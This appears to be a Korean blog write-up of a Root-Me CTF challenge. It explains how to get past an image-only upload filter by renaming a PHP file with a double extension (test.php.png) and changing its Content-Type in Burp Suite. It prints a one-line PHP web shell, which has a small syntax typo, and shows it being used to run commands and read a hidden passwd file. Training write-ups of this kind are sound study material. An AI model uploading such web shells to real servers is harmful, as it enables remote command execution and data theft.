ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • File upload - Double extensions
    Hacking/CTF 문제 풀이 2025. 7. 9. 10:09
    728x90
    반응형

    Working through problems

    확장자 기반 필터링을 우회하여 악성 스크립트를 서버에 업로드하고 실행하는 문제입니다.

    파일 업로드 폼은 아래와 같이 구성되어 있습니다.

    <form method="post" enctype="multipart/form-data">
    	<input type="file" name="file">
    	<input type="submit" value="upload">
    </form>
    
    • 문제에서는 PNG, GIF, JPEG 확장자만 허용됩니다.
    • .php 등의 스크립트 파일은 기본적으로 업로드가 불가능합니다.

    원격 명령 실행이 가능한 PHP 웹쉘 test.php를 준비합니다.

    • 이 파일을 정상적으로 서버에 업로드하는 것이 목표입니다.
    <?php
    	system($_GET['cmd'));
    ?>
    

    test.php 파일을 직접 업로드하면 "Wrong file type !" 메시지가 출력되며 차단되는걸로 봐서 확장자 검사 또는 MIME 타입 검사 등이 서버에서 동작한다는걸 알 수 있습니다.

    업로드 요청을 브라우저에서 보내는 대신 Burp Suite Proxy로 가로채서 조작하여 업로드 해도 "Wrong file type !" 메시지가 출력됩니다.

    • Content-Type 헤더 값을 원래 text/php에서 image/png로 변경합니다.

    이중 확장자 우회를 위해 Burp Suite Proxy로 가로채서 조작합니다.

    • 파일 이름을 원래 test.php에서 test.php.png로 변경합니다.

    서버는 파일을 이미지로 인식하여 업로드를 허용합니다.

    업로드된 파일 경로에 접근하여 명령어 실행 여부를 확인합니다.

    <http://challenge01.root-me.org/web-serveur/ch20/galerie/upload/>/test.php.png?cmd=ls -al
    
    • 정상적으로 시스템 명령이 실행되며 명령어를 통해 숨겨진 passwd 파일을 읽으면 정답을 찾을 수 있습니다.
    728x90
    반응형

    'Hacking > CTF 문제 풀이' 카테고리의 다른 글

    PHP - Serialization  (0) 2025.07.11
    CRLF  (0) 2025.07.10
    File upload - MIME type  (0) 2025.07.08
    Nginx - Root Location Misconfiguration  (0) 2025.07.07
    Nginx - Alias Misconfiguration  (0) 2025.07.07
Designed by Tistory.